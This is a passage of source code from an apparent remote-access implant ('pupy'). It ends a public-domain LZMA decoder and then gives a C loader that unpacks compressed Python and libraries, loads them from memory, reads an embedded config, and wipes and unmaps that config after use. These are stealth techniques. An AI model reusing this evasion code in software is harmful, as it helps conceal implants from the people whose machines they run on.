p->dicPos = 0;
dicPos = p->dicPos;
if (outSize > p->dicBufSize - dicPos)
{
outSizeCur = p->dicBufSize;
curFinishMode = LZMA_FINISH_ANY;
}
else
{
outSizeCur = dicPos + outSize;
curFinishMode = finishMode;
}
res = LzmaDec_DecodeToDic(p, outSizeCur, src, &inSizeCur, curFinishMode, status);
src += inSizeCur;
inSize -= inSizeCur;
*srcLen += inSizeCur;
outSizeCur = p->dicPos - dicPos;
memcpy(dest, p->dic + dicPos, outSizeCur);
dest += outSizeCur;
outSize -= outSizeCur;
*destLen += outSizeCur;
if (res != 0)
return res;
if (outSizeCur == 0 || outSize == 0)
return SZ_OK;
}
}
void LzmaDec_FreeProbs(CLzmaDec *p, ISzAlloc *alloc)
{
alloc->Free(alloc, p->probs);
p->probs = NULL;
}
static void LzmaDec_FreeDict(CLzmaDec *p, ISzAlloc *alloc)
{
alloc->Free(alloc, p->dic);
p->dic = NULL;
}
void LzmaDec_Free(CLzmaDec *p, ISzAlloc *alloc)
{
LzmaDec_FreeProbs(p, alloc);
LzmaDec_FreeDict(p, alloc);
}
SRes LzmaProps_Decode(CLzmaProps *p, const Byte *data, unsigned size)
{
UInt32 dicSize;
Byte d;
if (size < LZMA_PROPS_SIZE)
return SZ_ERROR_UNSUPPORTED;
else
dicSize = data[1] | ((UInt32)data[2] << 8) | ((UInt32)data[3] << 16) | ((UInt32)data[4] << 24);
if (dicSize < LZMA_DIC_MIN)
dicSize = LZMA_DIC_MIN;
p->dicSize = dicSize;
d = data[0];
if (d >= (9 * 5 * 5))
return SZ_ERROR_UNSUPPORTED;
p->lc = d % 9;
d /= 9;
p->pb = d / 5;
p->lp = d % 5;
return SZ_OK;
}
static SRes LzmaDec_AllocateProbs2(CLzmaDec *p, const CLzmaProps *propNew, ISzAlloc *alloc)
{
UInt32 numProbs = LzmaProps_GetNumProbs(propNew);
if (!p->probs || numProbs != p->numProbs)
{
LzmaDec_FreeProbs(p, alloc);
p->probs = (CLzmaProb *)alloc->Alloc(alloc, numProbs * sizeof(CLzmaProb));
p->numProbs = numProbs;
if (!p->probs)
return SZ_ERROR_MEM;
}
return SZ_OK;
}
SRes LzmaDec_AllocateProbs(CLzmaDec *p, const Byte *props, unsigned propsSize, ISzAlloc *alloc)
{
CLzmaProps propNew;
RINOK(LzmaProps_Decode(&propNew, props, propsSize));
RINOK(LzmaDec_AllocateProbs2(p, &propNew, alloc));
p->prop = propNew;
return SZ_OK;
}
SRes LzmaDec_Allocate(CLzmaDec *p, const Byte *props, unsigned propsSize, ISzAlloc *alloc)
{
CLzmaProps propNew;
SizeT dicBufSize;
RINOK(LzmaProps_Decode(&propNew, props, propsSize));
RINOK(LzmaDec_AllocateProbs2(p, &propNew, alloc));
{
UInt32 dictSize = propNew.dicSize;
SizeT mask = ((UInt32)1 << 12) - 1;
if (dictSize >= ((UInt32)1 << 30)) mask = ((UInt32)1 << 22) - 1;
else if (dictSize >= ((UInt32)1 << 22)) mask = ((UInt32)1 << 20) - 1;;
dicBufSize = ((SizeT)dictSize + mask) & ~mask;
if (dicBufSize < dictSize)
dicBufSize = dictSize;
}
if (!p->dic || dicBufSize != p->dicBufSize)
{
LzmaDec_FreeDict(p, alloc);
p->dic = (Byte *)alloc->Alloc(alloc, dicBufSize);
if (!p->dic)
{
LzmaDec_FreeProbs(p, alloc);
return SZ_ERROR_MEM;
}
}
p->dicBufSize = dicBufSize;
p->prop = propNew;
return SZ_OK;
}
SRes LzmaDecode(Byte *dest, SizeT *destLen, const Byte *src, SizeT *srcLen,
const Byte *propData, unsigned propSize, ELzmaFinishMode finishMode,
ELzmaStatus *status, ISzAlloc *alloc)
{
CLzmaDec p;
SRes res;
SizeT outSize = *destLen, inSize = *srcLen;
*destLen = *srcLen = 0;
*status = LZMA_STATUS_NOT_SPECIFIED;
if (inSize < RC_INIT_SIZE)
return SZ_ERROR_INPUT_EOF;
LzmaDec_Construct(&p);
RINOK(LzmaDec_AllocateProbs(&p, propData, propSize, alloc));
p.dic = dest;
p.dicBufSize = outSize;
LzmaDec_Init(&p);
*srcLen = inSize;
res = LzmaDec_DecodeToDic(&p, outSize, src, srcLen, finishMode, status);
*destLen = p.dicPos;
if (res == SZ_OK && *status == LZMA_STATUS_NEEDS_MORE_INPUT)
res = SZ_ERROR_INPUT_EOF;
LzmaDec_FreeProbs(&p, alloc);
return res;
}
================================================
FILE: client/common/LzmaDec.h
================================================
/* LzmaDec.h -- LZMA Decoder
2013-01-18 : Igor Pavlov : Public domain */
#ifndef __LZMA_DEC_H
#define __LZMA_DEC_H
#include "7zTypes.h"
EXTERN_C_BEGIN
/* #define _LZMA_PROB32 */
/* _LZMA_PROB32 can increase the speed on some CPUs,
but memory usage for CLzmaDec::probs will be doubled in that case */
#ifdef _LZMA_PROB32
#define CLzmaProb UInt32
#else
#define CLzmaProb UInt16
#endif
/* ---------- LZMA Properties ---------- */
#define LZMA_PROPS_SIZE 5
typedef struct _CLzmaProps
{
unsigned lc, lp, pb;
UInt32 dicSize;
} CLzmaProps;
/* LzmaProps_Decode - decodes properties
Returns:
SZ_OK
SZ_ERROR_UNSUPPORTED - Unsupported properties
*/
SRes LzmaProps_Decode(CLzmaProps *p, const Byte *data, unsigned size);
/* ---------- LZMA Decoder state ---------- */
/* LZMA_REQUIRED_INPUT_MAX = number of required input bytes for worst case.
Num bits = log2((2^11 / 31) ^ 22) + 26 < 134 + 26 = 160; */
#define LZMA_REQUIRED_INPUT_MAX 20
typedef struct
{
CLzmaProps prop;
CLzmaProb *probs;
Byte *dic;
const Byte *buf;
UInt32 range, code;
SizeT dicPos;
SizeT dicBufSize;
UInt32 processedPos;
UInt32 checkDicSize;
unsigned state;
UInt32 reps[4];
unsigned remainLen;
int needFlush;
int needInitState;
UInt32 numProbs;
unsigned tempBufSize;
Byte tempBuf[LZMA_REQUIRED_INPUT_MAX];
} CLzmaDec;
#define LzmaDec_Construct(p) { (p)->dic = 0; (p)->probs = 0; }
void LzmaDec_Init(CLzmaDec *p);
/* There are two types of LZMA streams:
0) Stream with end mark. That end mark adds about 6 bytes to compressed size.
1) Stream without end mark. You must know exact uncompressed size to decompress such stream. */
typedef enum
{
LZMA_FINISH_ANY, /* finish at any point */
LZMA_FINISH_END /* block must be finished at the end */
} ELzmaFinishMode;
/* ELzmaFinishMode has meaning only if the decoding reaches output limit !!!
You must use LZMA_FINISH_END, when you know that current output buffer
covers last bytes of block. In other cases you must use LZMA_FINISH_ANY.
If LZMA decoder sees end marker before reaching output limit, it returns SZ_OK,
and output value of destLen will be less than output buffer size limit.
You can check status result also.
You can use multiple checks to test data integrity after full decompression:
1) Check Result and "status" variable.
2) Check that output(destLen) = uncompressedSize, if you know real uncompressedSize.
3) Check that output(srcLen) = compressedSize, if you know real compressedSize.
You must use correct finish mode in that case. */
typedef enum
{
LZMA_STATUS_NOT_SPECIFIED, /* use main error code instead */
LZMA_STATUS_FINISHED_WITH_MARK, /* stream was finished with end mark. */
LZMA_STATUS_NOT_FINISHED, /* stream was not finished */
LZMA_STATUS_NEEDS_MORE_INPUT, /* you must provide more input bytes */
LZMA_STATUS_MAYBE_FINISHED_WITHOUT_MARK /* there is probability that stream was finished without end mark */
} ELzmaStatus;
/* ELzmaStatus is used only as output value for function call */
/* ---------- Interfaces ---------- */
/* There are 3 levels of interfaces:
1) Dictionary Interface
2) Buffer Interface
3) One Call Interface
You can select any of these interfaces, but don't mix functions from different
groups for same object. */
/* There are two variants to allocate state for Dictionary Interface:
1) LzmaDec_Allocate / LzmaDec_Free
2) LzmaDec_AllocateProbs / LzmaDec_FreeProbs
You can use variant 2, if you set dictionary buffer manually.
For Buffer Interface you must always use variant 1.
LzmaDec_Allocate* can return:
SZ_OK
SZ_ERROR_MEM - Memory allocation error
SZ_ERROR_UNSUPPORTED - Unsupported properties
*/
SRes LzmaDec_AllocateProbs(CLzmaDec *p, const Byte *props, unsigned propsSize, ISzAlloc *alloc);
void LzmaDec_FreeProbs(CLzmaDec *p, ISzAlloc *alloc);
SRes LzmaDec_Allocate(CLzmaDec *state, const Byte *prop, unsigned propsSize, ISzAlloc *alloc);
void LzmaDec_Free(CLzmaDec *state, ISzAlloc *alloc);
/* ---------- Dictionary Interface ---------- */
/* You can use it, if you want to eliminate the overhead for data copying from
dictionary to some other external buffer.
You must work with CLzmaDec variables directly in this interface.
STEPS:
LzmaDec_Constr()
LzmaDec_Allocate()
for (each new stream)
{
LzmaDec_Init()
while (it needs more decompression)
{
LzmaDec_DecodeToDic()
use data from CLzmaDec::dic and update CLzmaDec::dicPos
}
}
LzmaDec_Free()
*/
/* LzmaDec_DecodeToDic
The decoding to internal dictionary buffer (CLzmaDec::dic).
You must manually update CLzmaDec::dicPos, if it reaches CLzmaDec::dicBufSize !!!
finishMode:
It has meaning only if the decoding reaches output limit (dicLimit).
LZMA_FINISH_ANY - Decode just dicLimit bytes.
LZMA_FINISH_END - Stream must be finished after dicLimit.
Returns:
SZ_OK
status:
LZMA_STATUS_FINISHED_WITH_MARK
LZMA_STATUS_NOT_FINISHED
LZMA_STATUS_NEEDS_MORE_INPUT
LZMA_STATUS_MAYBE_FINISHED_WITHOUT_MARK
SZ_ERROR_DATA - Data error
*/
SRes LzmaDec_DecodeToDic(CLzmaDec *p, SizeT dicLimit,
const Byte *src, SizeT *srcLen, ELzmaFinishMode finishMode, ELzmaStatus *status);
/* ---------- Buffer Interface ---------- */
/* It's zlib-like interface.
See LzmaDec_DecodeToDic description for information about STEPS and return results,
but you must use LzmaDec_DecodeToBuf instead of LzmaDec_DecodeToDic and you don't need
to work with CLzmaDec variables manually.
finishMode:
It has meaning only if the decoding reaches output limit (*destLen).
LZMA_FINISH_ANY - Decode just destLen bytes.
LZMA_FINISH_END - Stream must be finished after (*destLen).
*/
SRes LzmaDec_DecodeToBuf(CLzmaDec *p, Byte *dest, SizeT *destLen,
const Byte *src, SizeT *srcLen, ELzmaFinishMode finishMode, ELzmaStatus *status);
/* ---------- One Call Interface ---------- */
/* LzmaDecode
finishMode:
It has meaning only if the decoding reaches output limit (*destLen).
LZMA_FINISH_ANY - Decode just destLen bytes.
LZMA_FINISH_END - Stream must be finished after (*destLen).
Returns:
SZ_OK
status:
LZMA_STATUS_FINISHED_WITH_MARK
LZMA_STATUS_NOT_FINISHED
LZMA_STATUS_MAYBE_FINISHED_WITHOUT_MARK
SZ_ERROR_DATA - Data error
SZ_ERROR_MEM - Memory allocation error
SZ_ERROR_UNSUPPORTED - Unsupported properties
SZ_ERROR_INPUT_EOF - It needs more bytes in input buffer (src).
*/
SRes LzmaDecode(Byte *dest, SizeT *destLen, const Byte *src, SizeT *srcLen,
const Byte *propData, unsigned propSize, ELzmaFinishMode finishMode,
ELzmaStatus *status, ISzAlloc *alloc);
EXTERN_C_END
#endif
================================================
FILE: client/common/Python-dynload.c
================================================
/* **************** Python-dynload.c **************** */
#include "Python-dynload.h"
#include "Python-dynload-os.h"
typedef struct dependency {
const char* name;
const char *bytes;
size_t size;
BOOL is_python;
} dependency_t;
struct py_imports py_sym_table[] = {
#include "import-tab.c"
{ NULL, NULL }, /* sentinel */
};
static char __config__[500000] = "####---PUPY_CONFIG_COMES_HERE---####\n";
static PyGILState_STATE restore_state;
static BOOL is_initialized = FALSE;
static const PyObject *py_stdlib_G = NULL;
/* Likely-to-be-used modules */
static const char *preload_modules[] = {
"types",
//"linecache",
"codecs",
"_weakrefset",
"_py_abc",
"abc",
"__future__",
"warnings",
"importlib._bootstrap",
"sre_constants",
"sre_parse",
"sre_compile",
"struct",
ENCODINGS ".aliases",
NULL
};
#include "lzmaunpack.c"
#include "library.c"
static PyObject* py_module_from_stdlib(PyObject *py_stdlib, const char *name, int is_init);
static HMODULE xz_dynload(const char *libname, const char *xzbuf, size_t xzsize, void *arg) {
HMODULE hModule;
void *uncompressed = NULL;
Py_ssize_t uncompressed_size = 0;
dprint("Uncompressing %s from %p (size=%d\n)\n", libname, xzbuf, xzsize);
uncompressed = lzmaunpack(xzbuf, xzsize, &uncompressed_size);
if (!uncompressed) {
dprint("%s decompression failed\n", libname);
return NULL;
}
dprint("%s decompressed to %p (size=%d)\n", libname, uncompressed, uncompressed_size);
hModule = MemLoadLibrary(
libname, (char *) uncompressed, uncompressed_size, arg
);
#if FREE_HMODULE_AFTER_LOAD
lzmafree(uncompressed, uncompressed_size);
#endif
if (!hModule) {
dprint("loading %s from memory failed\n", libname);
return NULL;
}
return hModule;
}
PyObject* load_stdlib() {
if(py_stdlib_G == NULL) {
PyObject *py_stdlib;
dprint("Stdlib size: %d\n", library_c_size);
py_stdlib = PyDict_lzmaunpack(library_c_start, library_c_size);
if (!py_stdlib) {
dprint("load_stdlib: PyDict_lzmaunpack() -> Error unpacking py_stdlib\n");
return NULL;
}
Py_IncRef(py_stdlib);
dprint("Stdlib unpacked: %p\n", py_stdlib);
py_stdlib_G = py_stdlib;
dprint("Unmap stdlib..\n");
OSUnmapRegion(library_c_start, library_c_size);
dprint("Unmap stdlib.. done\n");
return py_stdlib;
} else {
dprint("stdlib already loaded\n");
return py_stdlib_G;
}
}
static
size_t last_chr_offt(const char *cstr, char chr) {
int found_any = 0;
size_t last_found = 0;
size_t offt;
for (offt=0; cstr && cstr[offt]; offt++) {
if (cstr[offt] == chr) {
found_any = 1;
last_found = offt;
}
}
if (found_any)
return last_found;
else
return offt;
}
BOOL initialize_python(int argc, char *argv[], BOOL is_shared_object) {
HMODULE hPython = NULL;
PyObject *py_argv = NULL;
PyObject *py_empty_list = NULL;
dependency_t dependencies[] = DEPENDENCIES;
resolve_symbol_t resolver = NULL;
dependency_t *dependency = NULL;
struct py_imports *py_sym = NULL;
int i;
if (is_initialized) {
return TRUE;
}
#ifdef DEBUG_USE_OS_PYTHON
hPython = OSLoadLibrary("python310.dll");
resolver = OSResolveSymbol;
#else
for (dependency=dependencies; !hPython; dependency ++) {
HMODULE hModule = CheckLibraryLoaded(dependency->name);
if (hModule) {
if (dependency->is_python) {
hPython = hModule;
resolver = OSResolveSymbol;
}
continue;
}
dprint("Loading %s\n", dependency->name);
hModule = xz_dynload(
dependency->name, dependency->bytes, dependency->size, NULL
);
dprint("Loaded %s -> %p\n", dependency->name, hModule);
OSUnmapRegion(dependency->bytes, dependency->size);
if (!hModule) {
dprint("%s: load failed\n", dependency->name);
return FALSE;
}
if (dependency->is_python) {
hPython = hModule;
resolver = MemResolveSymbol;
}
}
#endif
dprint("Loading python from %p\n", hPython);
for (py_sym = py_sym_table; py_sym->name; py_sym ++) {
py_sym->proc = (void (*)()) resolver(hPython, py_sym->name);
if (py_sym->proc == NULL) {
dprint("undefined symbol %s\n", py_sym->name);
return FALSE;
}
}
dprint("Initializing Path & Flags ...\n");
if(!Py_IsInitialized()) {
dprint("Py not initialized yet\n");
dprint("Setting python flags ...\n");
char * pgm = OSGetProgramName();
wchar_t wtext[PATH_MAX];
mbstowcs(wtext, pgm, strlen(pgm)+1);//Plus null
//wchar_t * path= "";
Py_SetProgramName(wtext);
//wchar_t libfilename[PATH_MAX];
//GetModuleFileNameW(NULL, libfilename, sizeof(libfilename));
//dprint("libfilename: %S\n",libfilename);
wchar_t *wchar_paths = Py_DecodeLocale(".", NULL);
Py_SetPath(wchar_paths);
/*
wchar_t * ppath = Py_GetPath();
if (ppath)
memset(ppath, '\0', strlen(ppath));
*/
PyStatus status;
PyPreConfig preconfig;
dprint("init python preconfig\n");
/*
typedef void (CALLBACK* PyPreConfig_InitPythonConfigT)(PyPreConfig *);
PyPreConfig_InitPythonConfigT PyPreConfig_InitPythonConfig;
(PyPreConfig_InitPythonConfigT)PyPreConfig_InitPythonConfig = MyGetProcAddress(hPython, "PyPreConfig_InitPythonConfig");
*/
PyPreConfig_InitPythonConfig(&preconfig);
//preconfig.legacy_windows_fs_encoding = 0;
//preconfig.isolated = 0;
preconfig.use_environment = 0;
//preconfig.utf8_mode = 1;
dprint("call preinitialize\n");
Py_PreInitialize(&preconfig);
PyConfig config;
//typedef void (CALLBACK* PyConfig_InitPythonConfigT)(PyConfig *);
//(PyConfig_InitPythonConfigT)PyConfig_InitPythonConfig = MyGetProcAddress(hPython, "PyConfig_InitPythonConfig");
dprint("init python config\n");
PyConfig_InitPythonConfig(&config);
config._init_main = 0;
config.isolated = 0;
config.site_import = 0;
config.user_site_directory = 0;
config.write_bytecode = 0;
dprint("Py_InitializeFromConfig\n");
status = Py_InitializeFromConfig(&config);
/*
Py_IsolatedFlag = 1;
Py_OptimizeFlag = 2;
Py_UnbufferedStdioFlag = 1;
Py_FileSystemDefaultEncoding = FILE_SYSTEM_ENCODING;
Py_NoSiteFlag = 1;
Py_DontWriteBytecodeFlag = 1;
Py_NoUserSiteDirectory = 1;
Py_IgnoreEnvironmentFlag = 1;
*/
//int * Py_IsolatedFlagPTR = (int *)MyGetProcAddress(hPython, "Py_IsolatedFlag");
//*Py_IsolatedFlagPTR = 1;
//PyConfig_Clear(&config);
//Py_Initialize();
//Py_InitializeEx(is_shared_object? 0 : 1);
dprint("done\n");
dprint("calling PyEval_InitThreads\n");
PyEval_InitThreads();
}
dprint("calling PyGILState_Ensure\n");
restore_state = PyGILState_Ensure();
py_empty_list = PyList_New(0);
if (!py_empty_list) {
dprint("Couldn't allocate list for sys.path\n");
goto lbExit1;
}
PySys_SetObject("path", py_empty_list);
dprint("SET ARGV (ARGC=%d; SHARED? %d)\n", argc, is_shared_object);
if (is_shared_object) {
if (argc > 2 && !strcmp(argv[1], "--pass-args")) {
argv[1] = argv[0];
argc -= 1;
argv += 1;
} else {
argc = 1;
}
}
py_argv = PyList_New(0);
if (!py_argv) {
dprint("Couldn't allocate list for argv\n");
goto lbExit1;
}
Py_IncRef(py_argv);
for (i = 0; i<argc && argv[i]; i++) {
PyList_Append(py_argv, PyUnicode_FromString(argv[i]));
}
PySys_SetObject("executable", PyUnicode_FromString(OSGetProgramName()));
PySys_SetObject("argv", py_argv);
Py_DecRef(py_argv);
//setup_jvm_class();
dprint("Python initialized\n");
return TRUE;
lbExit1:
return FALSE;
}
static
PyObject *py_eval_package_init(
const char *name, PyObject *co_code,
const char *vpath, const char *path, int is_init)
{
PyObject *new_module;
PyObject *new_module_dict;
PyObject *builtins;
PyObject *py_eval_result;
PyObject *modules = NULL;
size_t last_dm = 0;
modules = PySys_GetObject("modules");
if (!modules) {
dprint(
"py_eval_package_init(%s) :: can't get sys.modules\n",
name
);
return NULL;
}
new_module = PyImport_AddModule(name);
if (!new_module) {
dprint(
"py_eval_package_init(%s) - PyImport_AddModule failed\n", name
);
return NULL;
}
new_module_dict = PyModule_GetDict(new_module);
PyObject_SetAttrString(
new_module, "__file__", PyUnicode_FromString(vpath));
dprint(
"py_eval_package_init(%s) %p.__file__ = %s\n",
name, new_module, vpath
);
last_dm = last_chr_offt(name, '.');
if (is_init) {
PyObject *key, *value;
Py_ssize_t pos = 0;
Py_ssize_t name_len = strlen(name);
PyObject_SetAttrString(
new_module, "__package__", PyUnicode_FromString(name)
);
dprint(
"py_eval_package_init(%s) %p.__package__ = %s\n",
name, new_module, name
);
dprint(
"py_eval_package_init(%s): iterate modules at %p\n", name, modules
);
/* Need to find/set all childs */
while (PyDict_Next(modules, &pos, &key, &value)) {
dprint("iteration: %d\n", pos);
const char *modname = NULL;
Py_ssize_t modname_len = 0;
/*
if (PyUnicode_FromStringAndSize(&modname, &modname_len) < 0) {
dprint(
"py_eval_package_init(%s) :: key at %d is not a string\n",
name, pos
);
PyErr_Clear();
}*/
modname = PyUnicode_AsUTF8AndSize(key, &modname_len);
if (! (modname && modname_len)) {
dprint(
"py_eval_package_init(%s) :: nothing to compare\n",
name
);
continue;
}
dprint("modname: %s modname_len: %d name_len: %d\n", modname, modname_len, name_len );
/*
if (strncmp("pupy.", modname, 5)) {
continue;
}
*/
if (modname_len < name_len + 2)
continue;
if (strncmp(name, modname, name_len))
continue;
if (modname[name_len] != '.')
continue;
dprint(
"py_eval_package_init(%s) :: child: %s\n",
name, modname + name_len + 1
);
PyObject_SetAttrString(
new_module, modname + name_len + 1, value
);
}
} else if (last_dm) {
PyObject *py_tmp = PyUnicode_FromStringAndSize(
name, last_dm
);
dprint(
"py_eval_package_init(%s) %p.__package__ = %s\n",
name, new_module, PyUnicode_AsUTF8(py_tmp)
);
PyObject_SetAttrString(
new_module, "__package__", py_tmp
);
}
last_dm = last_chr_offt(vpath + sizeof(VPATH_PREFIX), '/');
if (last_dm) {
PyObject *py_vpath;
last_dm += sizeof(VPATH_PREFIX);
py_vpath = PyBytes_FromStringAndSize(
vpath, last_dm);
PyObject_SetAttrString(
new_module, "__path__", Py_BuildValue("[O]", py_vpath));
Py_DecRef(py_vpath);
dprint(
"py_eval_package_init(%s) %p.__path__ = [%s] (refs=%d)\n",
name, new_module, PyBytes_AsString(py_vpath), Py_RefCnt(py_vpath)
);
}
//builtins = PyEval_GetBuiltins();
builtins = PyImport_Import(PyUnicode_FromString("builtins"));
if (!builtins) {
dprint("py_eval_package_init(%s) : could not import builtins module\n", name);
}
Py_IncRef(builtins);
PyDict_SetItemString(new_module_dict, "__builtins__", builtins);
dprint(
"py_eval_package_init(%s) %p.__dict__['__builtins__'] = %p (refcnt=%d)\n",
name, new_module, builtins, Py_RefCnt(builtins)
);
py_eval_result = PyEval_EvalCode(
co_code, new_module_dict, new_module_dict);
if (!py_eval_result) {
// FIXME: Delete from sys.modules (?)
if (PyDict_DelItemString(modules, name) < 0) {
dprint(
"py_eval_package_init(%s) Failed to delete from sys.modules\n", name
);
}
return NULL;
}
Py_DecRef(py_eval_result);
dprint(
"py_eval_package_init(%s) -> builtins %p (refcnt=%d)\n",
name, builtins, Py_RefCnt(builtins)
);
dprint(
"py_eval_package_init(%s) -> %p (refcnt=%d) __dict__ %p (refcnt=%d) co_code %p (refcnt=%d)\n",
name,
new_module, Py_RefCnt(new_module),
new_module_dict, Py_RefCnt(new_module_dict),
co_code, Py_RefCnt(co_code)
);
return new_module;
}
/*
BOOL load_c_extension_from_stdlib(PyObject *py_stdlib, const char *name) {
PyObject *pybody = NULL;
char *pybody_c_ptr = NULL;
Py_ssize_t pybody_c_size = 0;
char * vpath_name;
char * func_name;
size_t vpath_len;
BOOL result = TRUE;
vpath_len = strlen(name) + 5;
vpath_name = (char *) OSAlloc(vpath_len);
if (!vpath_name)
goto lbMemFailure1;
func_name = (char *) OSAlloc(vpath_len+10);
if (!vpath_name)
goto lbMemFailure1;
memset(vpath_name, '\0', vpath_len);
strcat(vpath_name, name);
#ifdef _WIN32
strcat(vpath_name, ".pyd");
#else
strcat(vpath_name, ".so");
#endif
memset(func_name, '\0', vpath_len+10);
strcat(func_name, "PyInit_");
strcat(func_name, name);
dprint("loading C extension from stdlib: %s\n", vpath_name);
pybody = PyDict_GetItemString(py_stdlib, vpath_name);
if (!pybody) {
dprint(
"load_c_extension_from_stdlib(%s) -> %s not found in stdlib\n",
name, vpath_name
);
PyErr_SetString(PyExc_ImportError, name);
result = FALSE;
goto lbFreeVpath;
}
HMODULE hModule = CheckLibraryLoaded(vpath_name);
if (hModule) {
dprint("library %s already loaded\n", vpath_name);
return FALSE;
}
if (PyBytes_AsStringAndSize(pybody, &pybody_c_ptr, &pybody_c_size) == -1) {
dprint(
"load_c_extension_from_stdlib(%s) -> %s -> Invalid type?\n",
name, vpath_name
);
result = FALSE;
goto lbFreeVpath;
}
#ifdef _WIN32
if(!(pybody_c_ptr[0]=='M' && pybody_c_ptr[1]=='Z')) {
dprint("extension %s is not a PE ??\n", vpath_name);
goto lbFreeVpath;
}
#endif
ULONG_PTR cookie = 0;
cookie = _My_ActivateActCtx();
hModule = MemLoadLibrary(
vpath_name, pybody_c_ptr, pybody_c_size, NULL
);
_My_DeactivateActCtx(cookie);
if (!hModule) {
dprint("MemLoadLibrary( %s ) failed\n", vpath_name);
result = FALSE;
goto lbFreeVpath;
}
char * oldcontext = _Py_PackageContext;
_Py_PackageContext = name;
typedef FARPROC (*PyInitT)(void);
PyInitT PyInitF;
PyInitF = (PyInitT)MemResolveSymbol(hModule, func_name);
PyInitF();
_Py_PackageContext = oldcontext;
if (PyErr_Occurred())
result=FALSE;
//PyImport_AppendInittab(name, func_name);
lbFreeVpath:
OSFree(vpath_name);
OSFree(func_name);
return result;
lbMemFailure1:
return PyErr_NoMemory();
}
*/
static PyObject* py_module_from_stdlib(PyObject *py_stdlib, const char *name, int is_init) {
PyObject *module = NULL;
PyObject *pybody = NULL;
PyObject *pybytecode = NULL;
char *pybody_c_ptr = NULL;
Py_ssize_t pybody_c_size = 0;
char *vpath_name = NULL;
char *path_name = NULL;
char *ptr = NULL;
int is_path = 1;
// pupy:// name /__init__.pyo
// OR
// pupy:// name .pyo
size_t vpath_len =
strlen(name)
+ sizeof(VPATH_PREFIX) - 1
+ (is_init? sizeof(VPATH_INIT_EXT) : sizeof(VPATH_EXT)) - 1
+ 1
;
vpath_name = (char *) OSAlloc(vpath_len);
if (!vpath_name)
goto lbMemFailure1;
memset(vpath_name, '\0', vpath_len);
strcpy(vpath_name, VPATH_PREFIX);
strcat(vpath_name, name);
for (ptr=vpath_name; *ptr; ptr++)
if (*ptr == '.')
*ptr = '/';
if (is_init)
strcat(vpath_name, VPATH_INIT_EXT);
else
strcat(vpath_name, VPATH_EXT);
// same string without pupy://
path_name = vpath_name + sizeof(VPATH_PREFIX) - 1;
pybody = PyDict_GetItemString(py_stdlib, path_name);
if (!pybody) {
dprint(
"py_module_from_library(%s, %d) -> %s (%s) not found in stdlib\n",
name, is_init, path_name, vpath_name
);
PyErr_SetString(PyExc_ImportError, name);
goto lbFreeVpath;
}
dprint(
"py_module_from_library(%s, %d) -> %s found -> %p\n",
name, is_init, path_name, pybody
);
if (PyBytes_AsStringAndSize(pybody, &pybody_c_ptr, &pybody_c_size) == -1) {
dprint(
"py_module_from_library(%s, %d) -> %s -> Invalid type?\n",
name, is_init, path_name
);
goto lbFreeVpath;
}
dprint(
"py_module_from_library(%s, %d) -> %s (%p) -> bytecode=%p size=%d\n",
name, is_init, path_name, pybody,
pybody_c_ptr, pybody_c_size
);
pybytecode = PyMarshal_ReadObjectFromString(
pybody_c_ptr + 8, pybody_c_size - 8
);
if (!pybytecode) {
dprint(
"py_module_from_library(%s, %d) -> %s -> Invalid type (marshall error)?\n",
name, is_init, path_name
);
goto lbFreeVpath;
}
dprint(
"py_module_from_library(%s, %d) -> %s (%p) -> bytecode=%p size=%d -> Unmarshalled -> %p\n",
name, is_init, path_name, pybody,
pybody_c_ptr, pybody_c_size,
pybytecode
);
// It's worth to continue
module = py_eval_package_init(name, pybytecode, vpath_name, path_name, is_init);
if (!module) {
dprint("py_module_from_library(%s, %d) -> Eval failed\n", name, is_init);
PyErr_Print();
goto lbFreePyBytecode;
}
dprint("py_module_from_library(%s, %d) -> %p\n", name, is_init, module);
//TODO: fix that
//PyDict_DelItemString(py_stdlib, path_name);
lbFreePyBytecode:
Py_DecRef(pybytecode);
lbFreeVpath:
OSFree(vpath_name);
return module;
lbMemFailure1:
return PyErr_NoMemory();
}
void py_clear_sys_list(const char *name)
{
PyObject *list_obj;
Py_ssize_t list_len;
list_obj = PySys_GetObject(name);
if (!list_obj) {
dprint("sys.%s not found\n", name);
PyErr_Clear();
return;
}
list_len = PyList_Size(list_obj);
if (list_len < 0) {
dprint("sys.%s is not list\n", name);
PyErr_Clear();
return;
}
if (PyList_SetSlice(list_obj, 0, list_len, NULL) < 0) {
dprint("sys.%s - failed to clear\n", name);
PyErr_Clear();
return;
}
dprint("sys.%s - cleared\n", name);
}
void py_clear_sys_dict(const char *name)
{
PyObject *dict_obj;
dict_obj = PySys_GetObject(name);
if (!dict_obj) {
dprint("sys.%s not found\n", name);
PyErr_Clear();
return;
}
PyDict_Clear(dict_obj);
if (PyErr_Occurred()) {
dprint("sys.%s - failed to clear\n", name);
PyErr_Clear();
return;
}
dprint("sys.%s - cleared\n", name);
}
void run_pupy() {
union {
unsigned int l;
unsigned char c[4];
} len;
PyObject *pupy;
PyObject *py_config_list;
PyObject *py_pupylib;
PyObject *pupy_dict;
PyObject *py_debug;
PyObject *py_main;
PyObject *py_eval_result;
PyObject *py_config = NULL;
PyObject *py_stdlib = load_stdlib();
const char **preload_module = NULL;
PyObject *py_stdlib_keys;
PyObject *py_stdlib_keys_iter;
PyObject *py_stdlib_keys_item;
PyStatus status;
PySys_SetObject("frozen", PyBool_FromLong(1));
dprint("Load config\n");
dprint("config:");
int i;
for (i=0; i<5; i++) {
dprint("%x", __config__[i]);
}
len.c[3] = __config__[0];
len.c[2] = __config__[1];
len.c[1] = __config__[2];
len.c[0] = __config__[3];
dprint("\n");
if (len.l == 0x23232323) {
dprint("Config not found\n");
goto lbExit1;
}
dprint("Config size: %d\n", len.l);
py_config_list = PyObject_lzmaunpack(__config__+4, len.l);
if (!py_config_list) {
dprint("Config unpack failed\n");
PyErr_Print();
goto lbExit1;
}
dprint("Config parcel unpacked: %p\n", py_config_list);
dprint("Cleanup config\n");
memset(__config__, 0xFF, len.l + 4);
dprint("Unmap config");
OSUnmapRegion(__config__, len.l);
py_config = PyList_GetItem(py_config_list, 0);
dprint("Get config: %p\n", py_config);
py_pupylib = PyList_GetItem(py_config_list, 1);
dprint("Get pupy: %p\n", py_pupylib);
dprint("Update stdlib\n");
PyDict_Update(py_stdlib, py_pupylib);
Py_IncRef(py_config);
for (preload_module=preload_modules; *preload_module; preload_module ++) {
if (!py_module_from_stdlib(py_stdlib, *preload_module, 0))
goto lbExit4;
}
// the order of loading matters here
//
if (!py_module_from_stdlib(py_stdlib, "keyword", 0))
goto lbExit4;
if (!py_module_from_stdlib(py_stdlib, "operator", 0))
goto lbExit4;
if (!py_module_from_stdlib(py_stdlib, "reprlib", 0))
goto lbExit4;
